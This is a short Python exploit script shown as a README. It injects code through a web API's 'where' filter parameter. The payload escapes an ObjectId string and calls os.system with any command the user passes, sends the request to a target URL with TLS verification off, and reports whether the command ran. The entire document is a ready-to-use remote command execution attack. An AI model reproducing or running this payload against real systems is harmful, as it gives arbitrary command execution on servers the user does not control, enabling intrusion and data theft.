README.md
Rendering markdown...
#!/usr/bin/env python3
import argparse
import requests
def parse_args():
parser = argparse.ArgumentParser()
parser.add_argument(
"-u",
"--url",
help="Target URL (where you can use the 'where' filter), e.g. http://example.com/people",
required=True,
)
parser.add_argument(
"-c",
"--command",
help="System command to execute (shouldn't contain quotes)",
required=True,
)
args = parser.parse_args()
return args
def build_payload(cmd):
payload = f'ObjectId("507f1f77bcf86cd799439011\') and __import__(\\"os\\").system(\'{cmd}")'
return payload
if __name__ == "__main__":
args = parse_args()
payload = build_payload(args.command)
params = {"where": f"_id == {payload}"}
print("[*] Sending payload")
r = requests.get(args.url, verify=False, params=params)
if r.status_code == 200:
print("[+] Command executed")
else:
print(f"[-] An error occured:\n {r.text}")